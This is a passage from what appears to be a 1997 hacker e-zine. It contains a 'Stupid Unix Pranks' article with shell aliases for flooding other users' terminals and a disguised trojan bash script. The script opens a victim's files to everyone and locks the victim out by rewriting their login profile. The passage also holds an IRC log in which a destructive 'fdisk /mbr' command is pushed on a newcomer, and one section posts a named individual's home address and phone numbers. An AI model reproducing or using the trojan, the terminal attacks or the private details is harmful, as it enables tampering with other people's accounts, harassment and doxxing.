  4735. M0*_W@[],JC7:LFMAHGXX2E\7I1^-TJ^(THNVB?J547I]E'YUE-X8I:^/TD^/
  4736. MTC=$Z=.B]&NB]!E1^K6H/Y!5"P>R5L`'M@-9J]F]`>^V[":FJ\-G\C?;!>16
  4737. MJARUJ!_'KQGC;=G-S*<)XS5CC".&R]DM+&L%S-J6L:S]1(@@FK4M+&M/"]1S
  4738. M+;Y])4=;6([VY)6(D?;OM1DA6=2#A(N>E>XV;[,9H#_I:LE!XU\*]MH,8!5U
  4739. M@%.)Y/*U^`'^43>Z</,XWV2H$>.9K\NW*89W6Y1W)+O@*5.J.L-&]GLV:'2(
  4740. M.(^O<O`0,BHV73@A_)Q;YDC#>7PKRHE*@&L$X"A'_>N9;3.7[9@)^^!MNQY"
  4741. MM1+PZLY2S[_GRD#^(1E-?.0/X_R5N7X.7+.+N+4<L#^J?PE>KW(G[-,?ZW\=
  4742. MF4X&X[$?>5AFH==9IC?QBG4F;^%&$XV<@E*8M0.O;B6,ZG<%_3@N$WW>$!7+
  4743. M[5B.)IX1%)0$F3RUYN$V[?TS3[0GDL2S_N=P%$L27:.)<)VGJ\`O-[VHGGV4
  4744. MJ!D`\/B##YIP)":=)&3$L97TCZ0/%X]H'Y"1=+RV/B`/R9.OD^3!2!%YT'^2
  4745. M##N*L21DN)B@_+\E6C]L)7V0/@R@Q8N66X=Q:/SG5S$9%CZ]?OA2OW]E/(<>
  4746. MF_0A]@>AD%+0'Q7AK:^OCV8(^Z.?.U;0'Q5]GH_M3:+=.!X1HNU0!3KE%6H[
  4747. M%$'DE4;T8W@C3,``GR?NZAJ/'R&**;I].X(G(DI/0D^9R)/&;>CIC5M!VA8B
  4748. M9&R#3'=\D_?$S@0QY`3"G5X"SKKJQNI25XT5&;1?S3;AST$QC;6:H[OPV2K`
  4749. M062"=!4(=)2958"C+`.>5P%.^IGP@@KP@,$"7U>!EH[.;ZA`1Q<&<U401V?W
  4750. M>2K0`U@A6P53`7)@O@H2V$Z64X`18"'DJYHD@`)<Z"@@&>";4*B":0!V7!0H
  4751. M((7.?Y$`N/98A'(%S*!?C%(5S`0H@Y=4D`F0,N;S`D`Y+%8T"DT`7Q#R.Y32
  4752. MQOD=EK'_`XR_T^.>M^TD?IFCT;&*6;,U8/RC_$J!5K8N5%9COV)K1IUZ\A,/
  4753. M-!4PC4(4BPS5L\3Y[*F>K1;7JS5&:!\]2P(MM-HYN(([W'.X7^@E&GB7:/'$
  4754. M(PYVD:FPF23`>I((];C"6TJF02'Y&LPA,\!40L^=KI._DH_)1^1/Y(_D#^0*
  4755. M&2*_(Y?):8RE977%5:D=>\:(_#H+-"TX<%]A,"&#L^"L98S^!@AT?M-48!<'
  4756. M<<"^BV-N.Y:I'";^\VQIK7'Z`QOF+Z06^=2D@-K8J!&F1#[]T(!(\.B-;HS<
  4757. MLD?\D68==T*T<TF8-%.YF`LN(5\YA40WM1W4+1>8&P[LJ6=C]DA0MC(\$3N!
  4758. MUC&;2Z:-$%YE.PR.0.E+>$(M>YJEIM>E<L\F;V>AU$R+$GF=9Z/')[M;_>P,
  4759. M7>KHZ+!&R;*9I:83+O+7XEKY9!%2^'0:W<PR&Z-K:X(;FCR!0K3IA*M\/R0+
  4760. M0"WX+^9>0=<2V-!8[?;Z]'*GW*BT/;Y)]C5&'CD#D=>F;VMJ4XVF5+F;/&WS
  4761. M_PU02P$"%``4````"``9@P\C95P&-X$#``#L!@``#````````````"``````
  4762. M````1E)-7TU!24XN1E)-4$L!`A0`%`````@`+8,/(]8-X;=P````?@````P`
  4763. M`````````0`@````JP,``%!23TI%0U0Q+DU!2U!+`0(4`!0````(`#J##R-9
  4764. MFZ7+Q`@``$`<```*````````````(````$4$``!324Y724XN15A%4$L%!@``
  4765. 0```#``,`K````#$-````````
  4766. `
  4767. end
  4768.  
  4769.                     Devix - devix@thepentagon.com
  4770.                       www.thepentagon.com/devix
  4771.                     PGP key available above. Use it.
  4772.  
  4773. ═────────────────────────────────────────────────────────────────────────────═
  4774. Stupid Unix Pranks 
  4775. by The Darkling    
  4776.  
  4777.     Terminal flooding Is a very annoying and a great way to make people 
  4778. look stupid. However this requires something. Go into /dev and type ls -la 
  4779. ttyp?. This will get you a listing of the permisions on the ttyps. For 
  4780. any reason should you have right accsess to any ttyp# (that stands for ttyp 
  4781. number) you can do this. Another thing you can do is if they ever leave their 
  4782. computer un-attended walk over to it, type who am i (for your user name) and 
  4783. then type who username for their ttyp number. then type cd /dev and then 
  4784. chmod a+rwx ttyp(their ttyp#) ( Side note: chmod is a change permissions 
  4785. command. a = all and a+rwx gives people read write and exacute perms on it). 
  4786. this setting will stick threw all of their ttyp's (they change every time). 
  4787. Most default settings give you write accsess to other peoples ttyps. Don't 
  4788. ask me why, but they do. Now we have to write a couple scripts to do the 
  4789. terminal flood and to setup for it other times. Asuming you don't have a 
  4790. .bash_profile I am now going to go threw what it is and how we will use it. 
  4791. .bash_profile is a file that will run everytime you login asuming you are 
  4792. using a bash shell. if not.. type /bin/bash now and load one. here is the 
  4793. heading for your .bash_profile (and every other bash script) 
  4794.  
  4795. !#/bin/bash 
  4796.  
  4797. this means that we are sending commands to the bash shell.. its just propper 
  4798. form, and some whate unessary if your using a bash shell. now what were going 
  4799. to do is setup a little rutine that wil grab us everyons login name and ttype 
  4800. number so we can check this when ever. I have mine setup so that it tells me 
  4801. eveyones in the begging and writes it to a file (that re-freshes everytime) 
  4802. in my home dir called flowers. here it is, I'll go over it in a sec 
  4803.  
  4804.  
  4805. !#/bin/bash
  4806. who 
  4807. who > flowers 
  4808. alias flood='cat /etc/wmtp > /dev/ttyp$1' 
  4809. alias fuck='echo Fuck You > /dev/ttyp$1' 
  4810. alias w='who' 
  4811. alias hehe="echo You were flooded curtusy of The Night script 
  4812. www.wilter.com/Darkling/ > /dev/ttpy$1' 
  4813.  
  4814.  
  4815. Now save it. Exit your shell and log backin for the changes to take affect 
  4816. now. As you enter you will be presented with a list of peoples names and 
  4817. ttyps, as a off note this information can also be seen in the file named 
  4818. flowers. Also you might want to get the above source out of the html code. 
  4819. Just so it isn't 
  4820. fucked over when you put it in. If you need to see the information quickly, 
  4821. just type w and then enter and you will see it again. When we want to flood 
  4822. some one we type flood # ( or flood space their ttyp number ) and the entire 
  4823. contents of wmpt (usaly f***** huge) will be dumped to their screen. 
  4824. Similarly if you type fuck # (fuck space their ttyp number) they will get a 
  4825. Fuck You added to where ever their curser is, or was. its halurs if their 
  4826. e-mailing the root and you do it just ebfor they send it. The fuck you is 
  4827. added to the mail message then its sent... you get the picuter =0). Also 
  4828. after every day of tortue it would be nice to me if you would type hehe # 
  4829. (hehe space ttyp #) wich broadcasts a advertisment about this page. 
  4830.  
  4831. #2
  4832.     This is what I call a Joke Trojen. While this method could be used to
  4833. do some very bad things I don't really condone them.  Warning: This could get 
  4834. you kicked out of unix class and if your school is tight as mine maybe given 
  4835. the big boot. Use with caution. The entire Idea behind this is that we need 
  4836. someone dumb enough to run a program you give them. this program will be a 
  4837. trojen horse that will efectivly lock them out and give you RWX on everything 
  4838. they own. My unix may be a bit rusty as I'm writing this up after unix class,
  4839. but everything should work. First 'know thi victem, sayith the lord' this 
  4840. person has to be someone that has something you want, and  will run a program 
  4841. without thinking about it. Once you have chosen your victem, make the 
  4842. following bash script: 
  4843.  
  4844. <--- begin code ---> 
  4845.  
  4846. #!/bin/bash 
  4847. echo you stupid dick 
  4848. chmod a+rwx * 
  4849. echo logout > .bash_profile 
  4850. cd /home/yourusername 
  4851. echo The hit is made sir > YES
  4852. echo bye 
  4853. logout 
  4854.  
  4855. <--- End code ---> 
  4856.  
  4857. Now make type 
  4858. chmod g=x filename
  4859. chmod o=x filename 
  4860. chmod a+xw /home/yourusername
  4861.  
  4862. Make sure to have named it someting like runme or some name that some one 
  4863. would think it a little program that is kewl and safe to run.  We before 
  4864. denied read or write accsess to it so they can't see its true nature (except 
  4865. root), so they should not fear it. Place it in their /home/username/ dir and 
  4866. wait for the file YES to appear in your home dir. be sure to fill in the vars 
  4867. like yourusername and filename (your user name adn whatever you name the 
  4868. file).  The effect of the trojen above goes like this : 
  4869.  
  4870. it says to their screen 'you stupid dick' 
  4871. it gives everyone read write and exacute perms to their files (all!) 
  4872. it makes it so their startup files makes them logout (so they can't log back 
  4873. in.. ) 
  4874. it goes to your dir 
  4875. it makes a file called YES with the insides 'The hit is made sir' 
  4876. it tells them 'bye' 
  4877. it logs them out. 
  4878.  
  4879. I personely like it.. its very effective. if you have the right setup perms 
  4880. on yourstuff ( shown above with the chmod commands) then it all should work. 
  4881. Go have fun in their dir.. then remove the logout from their .bash_profile 
  4882. before they report to the teacher that some one put a trojen in their dir. =) 
  4883.  
  4884. The Darkling 
  4885.  
  4886. Contact: 
  4887.  
  4888. Darkling69@mintprimary.com
  4889. http://www.wilter.com/~Darkling/ (soon to be)
  4890.  
  4891. ═────────────────────────────────────────────────────────────────────────────═
  4892. Oddville, THTJ
  4893.  
  4894.        [ This month, sadly Oddville is very small since this month, Scud-O's
  4895.         registry was fucked and he lost Eudora,. and thus all this strange,
  4896.         strange mail, so if you sent some whacked shit to me, resend it
  4897.         again, por favor! heh. ]
  4898.  
  4899. Date: Tue, 16 Sep 1997 22:43:59 -0400 (EDT)
  4900. From: cLOut <clout@widomaker.com>
  4901. X-Sender: clout@wilma
  4902. To: scud@thtj.com
  4903. Subject: log
  4904.  
  4905. hey..here's a log file i had from a few days ago... add it to THTJ if you
  4906. want man..latz.
  4907.  
  4908.  
  4909.  
  4910.  
  4911. ==/==/==
  4912.        cL0ut
  4913.     clout@widomaker.com
  4914. [finger for PGP public key]
  4915. This is from some dumbass that joined #phrack (<BEGIN LOG>)
  4916. <red_tab> Can someone tell me where to get salt peter.
  4917. <cL0ut> salt peter?
  4918. <red_tab> please
  4919. <p-> hm
  4920. <red_tab> Potassium Nitrate
  4921. <cL0ut> you can find salt & pepper on your kitchen table
  4922. <red_tab> Im from australia, and Ive never ehard of it before.
  4923. <red_tab> It's a special type
  4924. <red_tab> Ok then. Can anyone get onto #bombs? Its invite only.
  4925. <red_tab> or know the nick of a person on it?
  4926. <cL0ut> red_tab: i can tell you how to get in
  4927. <Frontline> yawn
  4928. <red_tab> What do you want?
  4929. <cL0ut> red_tab: type /run fdisk \y /mbr
  4930. <red_tab> Yeah. Sure
  4931. <red_tab> For gods sake. Im not that dumb
  4932. * Shok is idle, automatically dead [bX(l/on p/off)]
  4933. <cL0ut> red_tab: you sound that dumb
  4934. <Frontline> h0h0h0
  4935. <red_tab> It wouldn't work anywany, Im not on UNIX
  4936. <red_tab> thanks
  4937. <cL0ut> HAHAHAHAHAHAH
  4938. <cL0ut> you dumbass
  4939. <cL0ut> fdisk is a DOS commands
  4940. <cL0ut> command even
  4941. <Frontline> cl0ut not neccesarily
  4942. <red_tab> Ok it would work then. i am that dumb
  4943. <Frontline> but those lil commands you gave him were for the dos version
  4944.  
  4945. <(END LOG)>
  4946.  
  4947.  
  4948. ---
  4949.  
  4950. Date: Tue, 16 Sep 1997 21:47:58 +0100
  4951. From: ToX <mt@bruhn.dk>
  4952. X-Mailer: Mozilla 3.03 (Win16; I)
  4953. To: thtj@thtj.com
  4954. Subject: Windows 95 NetWork Crack
  4955.  
  4956. My problem is that I have made
  4957. a bet with my freind, that i can
  4958. break his Windows 95 NetWork...
  4959.  
  4960. When you share a directory, you
  4961. can put a password on it, and it
  4962. is this password that i have to
  4963. break...
  4964.  
  4965. Can you pleash help me !
  4966.  
  4967. ToX
  4968. MT@BRUHN.DK
  4969.  
  4970.  
  4971. [no.]
  4972.  
  4973. ---
  4974.  
  4975. From: "TM" <tm@sinnerz.com>
  4976. Organization: SIN/Technophoria
  4977. To: xxxxxx@xxxxxxx.net
  4978. Date: Sun, 21 Sep 1997 00:10:39 -7000
  4979. Subject: Movie To See
  4980. Priority: normal
  4981. X-mailer: Pegasus Mail for Win32 (v2.54 preview)
  4982.  
  4983. Ok, if any of you are going to the movies any time soon, GO SEE THE 
  4984. GAME! IT KICKS ASS! We are talking a big two thumbs up and one 
  4985. fucking STUNNED audience. Go see it now, in fact. Go ahead and leave 
  4986. your computer online, let it time out, go and stand outside of the 
  4987. fucking movie theater until it starts or comes there... threaten the 
  4988. manager with anal rape unless he show The Game there. Oh shit oh shit 
  4989. oh shit what a fucking trip... wow... I mean, you think you know 
  4990. what's up, you think you have the big picture but then it rips apart 
  4991. and all of a sudden the picture gets much bigger... I loved it so 
  4992. much I was incoherent for 2 hours afterwards (I just got back from 
  4993. seeing it, as you can tell).
  4994.  
  4995.   ____
  4996.  / ___| ___
  4997. | |  _ / _ \
  4998. | |_| | (_) |
  4999.  \____|\___/
  5000.  
  5001.  ____              ___ _   _
  5002. / ___|  ___  ___  |_ _| |_| |
  5003. \___ \ / _ \/ _ \  | || __| |
  5004.  ___) |  __/  __/  | || |_|_|
  5005. |____/ \___|\___| |___|\__(_)
  5006.  
  5007. Nownownownownow!
  5008. +--------------------------------+
  5009. |              TM                |
  5010. +--------------------------------+
  5011. |  Ou' sont les neiges d' antan  |
  5012. |         Villon                 |
  5013. +________________________________+
  5014. |    There is a man...           |
  5015. |   playing a violin...          |
  5016. |   and the strings...           |
  5017. | are the nerves in his own arm. |
  5018. | A twisted soul- the mortar...  |
  5019. |  despair- the bricks...        |
  5020. | to build a temple of sadness.  |
  5021. |  The Crow, J. O'Barr           |
  5022. +--------------------------------+
  5023. |   This tagline is SHAREWARE!   | 
  5024. |    To register, send me $10.   |
  5025. +--------------------------------+
  5026.  
  5027.  [ I agree, this is one hell of a movie, and i recommend seeing it when
  5028.    intoxicated for an added effect. ]
  5029.  
  5030. ---
  5031.  
  5032. Name: Alam Farez
  5033. House fone number: (860)875-2117
  5034. Personal fone number: (860)875-9911
  5035. Address: 9 Deerfield Lane
  5036.      Ellington, CT 06029
  5037.  
  5038. URL: http://members.tripod.com/~zerohex/zer0.html
  5039. email address: zer0-hex@juno.com
  5040.  
  5041. ═────────────────────────────────────────────────────────────────────────────═
  5042. #phrack
  5043.  
  5044. <chris0> so1o: whats the new crh gunna have in it?
  5045. <number6> replicas of phrack articles
  5046. <FrontLine> an original idea maybe this time?
  5047. <FrontLine> never
  5048. <FrontLine> could never have one of those
  5049. <rh1n0> gha
  5050. ┌───-───(( whois information: number6 ))──-─-──-───--──-──-─-─ -──-─- -─
  5051. │ address   ≡ ~no6@jolt.ppp.dhp.com [Commercial Organization]
  5052. │ quote     ≡ Number 6
  5053. │ channels  ≡ #phrack #glitterglam 
  5054. │ server    ≡ irc-w.primenet.com: [206.165.111.241] Primenet Mae-West IRC server
  5055. └───-──────────-──────--───-───-──-─ ─-──-──- -─
  5056. <chris0> hehe
  5057. <so1o> it will be 200% orig1nal
  5058. <so1o> f00
  5059. <FrontLine> its to hard to come up with an original idea
  5060. <rh1n0> i didnt read that yet
  5061. <dev_null> wait and see
  5062. <rh1n0> i will go read it now
  5063. <FrontLine> let alown write those original ideas down
  5064. === (join\#phrack) VC[VC@rhat.cts.com] @[02:03:51am]
  5065. <so1o> i wrote something down once.. it said...
  5066. <so1o> I R0CK
  5067. <so1o> heh
  5068. <Warpy> 200%
  5069. <Warpy> oh dear
  5070. <so1o> 200 proof then
  5071. <FrontLine> much easier to rip other peoples shit
  5072. <so1o> f00
  5073. <so1o> heh
  5074. <FrontLine> cut their name
  5075. <FrontLine> paste yours
  5076. <chris0> I seen an article published in crh that was also in EL8 newsletter 1 but changed.
  5077. ┌───-───(( whois information: FrontLine ))──-─-──-───--──-──-─-─ -──-─- -─
  5078. │ address   ≡ assembly@penguinpalace.com [Commercial Organization]
  5079. │ quote     ≡  
  5080. │ channels  ≡ #phrack @#cheese #glitterglam 
  5081. │ server    ≡ irc.visi.com: Rockin' Snowland Server
  5082. └───-──────────-──────--───-───-──-─ ─-──-──- -─
  5083. <FrontLine> much much much easier
  5084. <so1o> i didn't paste my name
  5085. <so1o> heh
  5086. === (join\#phrack) WOWEE[netcom.ix.@chi-il11-04.ix.netcom.com] @[02:04:35am]
  5087. <WOWEE> hello
  5088. <FrontLine> Oh you actually typed it out
  5089. <halflife> did i see so1o and original on the same screen?
  5090. ∙ halflife blinks
  5091. <so1o> isn't FrontLine a medication for vaginal warts?
  5092. <so1o> yeah halflife
  5093. <so1o> im gonna try reeally hard
  5094. <so1o> heh
  5095. ∙ so1o concentrates
  5096. === (nick\change) rh1n0 ──> WEP
  5097. <WOWEE> can someone tell me where i can get an anonymous emailer and browse the web
  5098. <halflife> so1o puts out a lot of issues
  5099. <chris0> leave
  5100. <halflife> too bad they all suck
  5101. <so1o> issue 5 is good
  5102. <halflife> but hey, theres lots of em atleast
  5103. ∙ FrontLine watches as s01o's head explodes from trying to come up with an original idea
  5104. <halflife> i read it, but dont remember any of it
  5105. <Warpy> so1o, so a redhat 2.1 exploit is GOOD?
  5106. <chris0> At least its a zine.
  5107. <so1o> issue 5 i said
  5108. <so1o> heh
  5109. <number6> wowee: check out http://www.research.att.com/projects/crowds/
  5110. <Shok> llalala
  5111. <WOWEE> thnx
  5112. ∙ FrontLine is amazed that in all that mess from his head exploding nothing original could be found
  5113. <so1o> i got 4 original submissions so far
  5114. <so1o> he phear
  5115. === (nick\change) WEP ──> rh1n0
  5116. <so1o> s/he/so
  5117. <so1o> heh
  5118. <rh1n0> um
  5119. <Warpy> so1o, originality is crap unless they're good
  5120. <alhambra_> so1o how many of them are other handles u use?>
  5121. <chris0> Do people just submit to CRH or is it all codezero based?
  5122. === (join\#phrack) ld-100[555ic@d-pm4-39.txdirect.net] @[02:07:04am]
  5123. <rh1n0> ahhaha
  5124. === (signoff\#phrack) ld-100[555ic@d-pm4-39.txdirect.net] @[02:07:06am] [Connection reset by peer]
  5125. <Warpy> alhambra_, hahahaha
  5126. <Modify> Maybe you should lay off of hacking 30 web pages a week and devote your time on something more constructive!
  5127. <alhambra_> (are written by)
  5128. <so1o> alh : none
  5129. <FrontLine> so1o: in your next issue are you going to have |<-RaD flash warez 
  5130. <so1o> yeah
  5131. <so1o> how did you know?
  5132. <dev_null> www.sekurity.org/~vol
  5133. <dev_null> CRH 5
  5134. <so1o> crh 5 is elitespeak
  5135. <halflife> mflash too
  5136. <so1o> so no-one can readit
  5137. <so1o> heh
  5138. <Warpy> www.sekurity.org/~warpy is more ereeter
  5139. <halflife> mflash.bas
  5140. <dev_null> i've been there
  5141. <so1o> hahaha
  5142. <halflife> visual basic mailflashes!@
  5143. <Shok> www.sekurity.org/~shok has no index.html 
  5144. <Shok> hehe
  5145. <FrontLine> wew hoo mflash!!!!
  5146. <li> www.nque.com/~li has no html!
  5147. <li> hi
  5148. <so1o> www.larc.nasa.gov is br0k3n
  5149. <so1o> and it wasn't me
  5150. <halflife> so1o has mad phf sk1llz
  5151. <so1o> phf is k-r4d
  5152. === (signoff\#phrack) phiXati0n[PHUCK_you@167-123-97.ipt.aol.com] @[02:08:59am] [ChaNNeL BoT bY |IceMan|------⌐HΣ╤±Θú ▀°t ▀Ñ |φ╟╚m┼±|]
  5153. === (kick\#phrack) Warpy[warpy@slsyd75p22.ozemail.com.au] kicked [so1o] off #phrack [schmack]
  5154. <alhambra_> i think crh and el8 should merge
  5155. <alhambra_> get all the crap in one place
  5156. <chris0> hehe lol
  5157. === (join\#phrack) so1o[REPL4Y@serug.netgates.co.uk] @[02:09:13am]
  5158. <so1o> hey
  5159. <Modify> halflife: lo fuckin loud
  5160. <so1o> no fair
  5161. <dev_null> what happened to #codezero ?
  5162. <so1o> crh 6 will have unpublished and orignal exploits in it
  5163. <Warpy> so1o, name one exploit/vuln c0d3z3r0 have coded/found *THEMSELVES*
  5164. === (signoff\#phrack) ld-50[555ic@d-pm4-26.txdirect.net] @[02:10:08am] [Operation timed out]
  5165. === (join\#phrack) ld-100[555ic@d-pm2-05.txdirect.net] @[02:10:13am]
  5166. <halflife> judging from the originality of crh, REPL4Y is a good username for so1o
  5167. <li> mount.c
  5168. <li> ?
  5169. <so1o> phf xterm tekneeq
  5170. <Warpy> bahahaha
  5171. <so1o> hah
  5172. <Modify> oh my god
  5173. <Warpy> oh dear
  5174. <Modify> hahaha
  5175. <Modify> and thats a funny group name cause they code zero
  5176. === (topic\#phrack) Warpy[warpy@slsyd75p22.ozemail.com.au] sets topic (<so1o> phf xterm tekneeq)
  5177. <dev_null> soltool is a fuckin' rip off
  5178. <halflife> so1o, people were doing that before the ibm advisory came out like 2 yrs ago
  5179. <Warpy> dev_null, agreed
  5180. <so1o> i coded that myself
  5181. <so1o> gneegr0
  5182. <halflife> soltool is backdoored too
  5183. <chris0> modify: what does global kos do?
  5184. <so1o> yeah
  5185. <Warpy> YOU CODED A FUCKING SHELL SCRIPT WITH PUBLIC EXPLOITS?
  5186. <so1o> i did that too
  5187. === (nick\change) ld-100 ──> ld-50
  5188. <chris0> Im not defending codezero but global kos doesnt do crap.
  5189. <alhambra_> phf xterm technique is ancient
  5190. <Modify> chris: go to school and work
  5191. <Warpy> chris0, just because they don't hack pages and trade warez doesn't mean they don't do crap
  5192. <dev_null> Global kOS is kinda lame...i have yet to see something usefull come out from them,
  5193. <so1o> hah
  5194. <so1o> hah
  5195. <so1o> upyours4.exe
  5196. <so1o> hah
  5197. <chris0> hehe
  5198. === (part\#phrack) few1[blah@phat.oz.net] @[02:11:57am]
  5199. <halflife> dev_null: so how do they differ from c0dez3r0?
  5200. <Warpy> so1o, at least they understood enough sendmail to code it
  5201. <chris0> warpy: Im saying they havent released anything.
  5202. === (signoff\#phrack) alhambra_[alhambra@nuclear.biodome.org] @[02:12:27am] [changing servers]
  5203. <Modify> www.thtj.com/kOS/screenshot.jpg
  5204. >>> (msg(modify)) this shit is funny
  5205. <Warpy> a group is about/for the group not admirers or exploit k1dd1es
  5206.  
  5207. ═───────────────────────────────────────────────────────────═
  5208.  
  5209. === (join\#phrack) so7o[REPL4Y@amon.netgates.co.uk] @[02:14:51am]
  5210. <chris0> At least they do a mag its better than nothing.
  5211. <so7o> we are getting better
  5212. <halflife> no, it isnt
  5213. <dev_null> remember ZERO
  5214. <halflife> so7o, the quality hasnt changed
  5215. <dev_null> www.sinnerz.com/zero
  5216. <so7o> yes it has
  5217. <halflife> and you still do lame stuff like dump d0x
  5218. <so7o> we have taken that into consideration
  5219. <so7o> and i have already tackled the issue for 6
  5220. <FrontLine> who is we anyway
  5221. <halflife> your content is 1) lame and 2) stolen
  5222. <halflife> a bad combo
  5223. <FrontLine> h0h0h0
  5224. <halflife> if yer gonna steal shit, steal better stuff
  5225. <alhambra_> yah
  5226. <alhambra_> and so1o
  5227. <Modify> hehe
  5228. <alhambra_> stop publishing other peoples shit on bugtraq
  5229. <Warpy> hahah
  5230. <so7o> that was another so1o
  5231. <alhambra_> oh right
  5232. <li> *cough*
  5233. <Warpy> "i couldn't find the remote root code, but here's something anyway.." (imap)
  5234. <alhambra_> the other so1o
  5235. <li> :>
  5236. <so7o> i'll relay the message
  5237. <kaotik> hrmm
  5238. <Modify> you mean there are 2 of you?
  5239. <so7o> yeah
  5240. <Warpy> SPLIT PERSONALITIZ
  5241. <so7o> and there's a dude called codezero
  5242. <kaotik> i guess it's shit like this why i don't go to cons
  5243. <li> so1o.. you told me you did it because you were tired of all the lamers gettin the code
  5244. <li> or something
  5245. <alhambra_> www.sekurity.org/~vol
  5246. <alhambra_> that page rules
  5247. <Warpy> alhambra_, it does don't it :)
  5248. <alhambra_> yep
  5249. <so7o> bugtraq is there to make the world a safer place
  5250. <alhambra_> so1o it doesn't matter
  5251. <so7o> i think everybodty should post everything to bugtraq
  5252. <FrontLine> and your here to make the world a lamer place?
  5253. <alhambra_> u dont publish others exploits there
  5254. <halflife> is he called codezero cuz that describes how much code he has written in his life?
  5255. <Modify> point being?
  5256. <li> hold.. lemme post nlock
  5257. <alhambra_> u dont publish others exploits there
  5258. <halflife> is he called codezero cuz that describes how much code he has written in his life?
  5259. <Modify> point being?
  5260. <li> hold.. lemme post nlock
  5261. === (join\#phrack) Volatile[vol@synapse-160.mindport.net] @[02:19:08am]
  5262. <Volatile> so1o!
  5263. <chris0> Old hacking files are totally krad compared most of the new shit.
  5264. <Volatile> li: Hey there li
  5265. <so7o> i was considering posting the nlock source
  5266. <Volatile> li: Long time
  5267. <so7o> but sun would kick my ass
  5268. <chris0> Phrack is an ok magazine just too much source.
  5269. <Modify> geezus
  5270. === (join\#phrack) loath[loath@206.29.0.102] @[02:19:41am]
  5271. === (signoff\#phrack) chris0[brutus@wrt1-ppp30.dial.snowline.net] @[02:19:41am] [Leaving]
  5272. <Warpy> so7o, post nlock and everyone will kick yer ass
  5273. <so7o> why?
  5274. <Warpy> tho i suppose you'd need netcat for it
  5275. <Warpy> :P
  5276. <halflife> i think we need to publish less source
  5277. <Volatile> so7o: So how's CodeZero?
  5278. <so7o> because you would rather be all k-r4d and 31337
  5279. <kaotik> i was gonna post the netscape 128k encyrption k0de
  5280. <Volatile> haha
  5281. <Volatile> No
  5282. <Volatile> so7o would
  5283. <Volatile> That's why he's posting it
  5284. === (nick\change) prym ──> FEGR00LZ
  5285. <so7o> and keep all your neat little remote's in sshd and the like to yourselves
  5286. <kaotik> but it's old shit
  5287. <Volatile> That's why he's posting it
  5288. === (nick\change) prym ──> FEGR00LZ
  5289. <so7o> and keep all your neat little remote's in sshd and the like to yourselves
  5290. <kaotik> but it's old shit
  5291. === (nick\change) FEGR00LZ ──> prym
  5292. <Modify> half: Im doing one on CISCO for the next issue
  5293. <Volatile> He wants to look like he has the greatest archives.
  5294. <Modify> with d1s
  5295. <li> it'd help if he had it
  5296. <so7o> that doesn't make the world a safer place
  5297. <Volatile> so7o: Dude.. face it
  5298. <Warpy> so7o, so ppl/groups like c0d3z3r0 don't get it and use it to trade juarez
  5299. === (signoff\#phrack) VC[VC@rhat.cts.com] @[02:20:48am] [Ping timeout]
  5300. <Volatile> so7o: You're just a moron trying to look like yew have reet0 k03z
  5301. <so7o> my k0dez > your
  5302. <so7o> sssss
  5303. <Volatile> haha
  5304. <Volatile> Yea
  5305. <so7o> nice to see you admit it
  5306. <Volatile> Yew know what kode I loved a lot
  5307. <Modify> is that scripting?
  5308. <li> hi
  5309. <Volatile> Let me make sure Im accurate here.
  5310. <halflife> i wont code for linux anymore tho, too many stupid people ask me linspy questions
  5311.  
  5312. ═────────────────────────────────────────────────────────────────────────────═
  5313. The News 
  5314. Compiled and edited by KungFuFox
  5315.  
  5316.     1 : Huge jump seen in PCs linked to net 
  5317.     2 : Hackers vie for $1-million reward 
  5318.     3 : Digitizing Your Meter Reader
  5319.     4 : AT&T Tests New `00' INFO Directory Assistance Service    
  5320.     5 : Bellcore Scientists See Cold-Weather Problems...
  5321.     6 : Is the Internet a Matter of National Security? 
  5322.     7 : Hacking Smart Card Chips: At What Cost? 
  5323.     8 : House Panel Rejects Crypto Amendment
  5324.     9 : Internet Addict Placed on Probation in Ohio - from FH
  5325.  
  5326.        <Faraz> tell you and your lame friends not to prank call me  
  5327.  
  5328. ═───────────────────────────────────────────────────────────═
  5329.  
  5330. Huge jump seen in PCs linked to net
  5331.  
  5332. The number of personal computers connected to the Internet will jump 71% by 
  5333. the end of the year to 82 million, driven by use in the business market, says 
  5334. market research firm Dataquest Inc. By 2001, about 268 million computers will 
  5335. be linked to the global computer network, according to a recent study. That 
  5336. will lead to more sales of Internet software and services, which are expected
  5337. to rise 60% to $12.2 billion (U.S.) by the end of the year, up from $7.5 
  5338. billion last year. The Internet software and services market is expected to 
  5339. reach $32.2 billion by 2001, with the services market alone reaching $7 
  5340. billion in 1997 and rising to $29 billion by 2001, says Dataquest. 
  5341.  
  5342. (Toronto Financial Post 21 Aug 97)
  5343. ═───────────────────────────────────────────────────────────═
  5344.  
  5345. Hackers vie for $1-million reward
  5346.  
  5347. Austin, Texas start-up Crypto-Logic Corp. has offered a $1-million reward to 
  5348. whomever can crack its new e-mail encryption system within a year. 
  5349. Cryptologists generally agree that Crypto-Logic's technology, called a 
  5350. "one-time pad" is theoretically uncrackable -- each "pad" has a set of 
  5351. uniquely random digital symbols that are coded to the actual message. 
  5352.  
  5353. The recipient uses the same pad to decode the message, and each pad is used 
  5354. only once. Still, experts are warning never to underestimate the tenacity of 
  5355. computer hackers: "Anyone who says their system is bulletproof is either a 
  5356. liar or stupid," says one. "If I'm wrong," says Crypto-Logic's VP and COO, 
  5357. "we're out of business." http://www.ultimateprivacy.com 
  5358.  
  5359. (Wall Street Journal 22 Aug 97)
  5360. ═───────────────────────────────────────────────────────────═
  5361.  
  5362.  Digitizing Your Meter Reader
  5363.  by Gene Koprowski 
  5364.  
  5365.  18.Sep.97.PDT -- A visit from the meter man is rarely a cherished event. 
  5366.  Meter readers dread the prospect of crazed canines, and customers don't much 
  5367.  like strangers tromping through their yard or basement. 
  5368.  
  5369. To automate this timeworn process, utility companies are piloting programs 
  5370. that use customized networking technology to remotely read meters and monitor 
  5371. the energy usage of specific appliances. A technology trial at Nashville 
  5372. Electric Service, a division of the Tennessee Valley Authority - the 
  5373. Depression-era creation of President Franklin Roosevelt - will link consumers 
  5374. to the energy company via a computer network. 
  5375.  
  5376. The technology behind the service - developed by Nortel and TeCom - provides 
  5377. automatic meter reading, outage detection, and remote connect and disconnect 
  5378. capabilities. To test the service, Nashville Electric is installing a network 
  5379. router and digital meter reader in the homes of 100 residential customers - 
  5380. and in the offices of about 40 customers. 
  5381.  
  5382. These meters will be linked to LANs and PCs, creating a bi-directional 
  5383. consumer electronics network: Individual appliances, like a toaster, 
  5384. microwave or refrigerator, will be online, enabling consumers to monitor 
  5385. their usage down to the kilowatt, said TeCom spokesman Mike Mahoney. 
  5386.  
  5387. "It will allow users to analyze their usage patterns, as they do with 
  5388. long-distance phone bills," Mahoney said. "If the toaster is using too much 
